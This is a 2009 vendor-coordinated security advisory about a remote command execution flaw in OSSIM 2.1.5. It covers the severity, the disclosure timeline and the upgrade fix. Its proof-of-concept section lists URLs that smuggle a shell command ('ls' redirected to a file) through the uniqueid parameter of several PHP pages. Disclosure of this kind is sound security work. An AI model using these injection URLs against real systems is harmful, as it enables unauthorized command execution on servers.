Advisory Name: Remote Command Execution in OSSIM


Vulnerability Class: Remote Command Execution

Release Date: 12-16-2009

Affected Applications: Confirmed in OSSIM 2.1.5. Other versions may also be affected.

Affected Platforms: Multiple

Local / Remote: Remote

Severity: High – CVSS: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)

Researcher: Nahuel Grisolía

Vendor Status: Acknowledged/Fixed. New release available (OSSIM 2.1.5-4)

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

OSSIM is prone to a remote command execution vulnerability because the software fails to adequately
sanitize user-supplied input.
Successful attacks can compromise the affected software and possibly the computer running OSSIM.

Proof of Concept:

http://server/ossim/sem/wcl.php?uniqueid=1;ls%20%3E%20/tmp/listing
http://server/ossim/sem/storage_graphs.php?uniqueid=;ls%20%3E%20/tmp/listing;
http://server/ossim/sem/storage_graphs2.php?uniqueid=;ls%20%3E%20/tmp/listing;
http://server/ossim/sem/storage_graphs3.php?uniqueid=;ls%20%3E%20/tmp/listing;
http://server/ossim/sem/storage_graphs4.php?uniqueid=;ls%20%3E%20/tmp/listing;

Impact:

Direct execution of arbitrary code in the context of Webserver user.
Solution: Upgrade to OSSIM 2.1.5-4

Vendor Response:

2009-12-08 – Vulnerability is identified
2009-12-09 – Vendor is contacted
2009-12-09 – Vendor confirmed vulnerability
2009-12-16 – Vendor released fixed version
2009-12-16 – Vulnerability is published

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at
ngrisolia <at> cybsec <dot> com
About CYBSEC S.A. Security Systems:
Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in
Information Security. Their area of services covers Latin America, Spain and over 250 customers are a
proof of their professional life.
To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other
software and/or hardware provider companies.
Our services are strictly focused on Information Security, protecting our clients from emerging security
threats, maintaining their IT deployments available, safe, and reliable.
Beyond professional services, CYBSEC is continuously researching new defense and attack techniques
and contributing with the security community with high quality information exchange.
For more information, please visit www.cybsec.com
(c) 2009 - CYBSEC S.A. Security Systems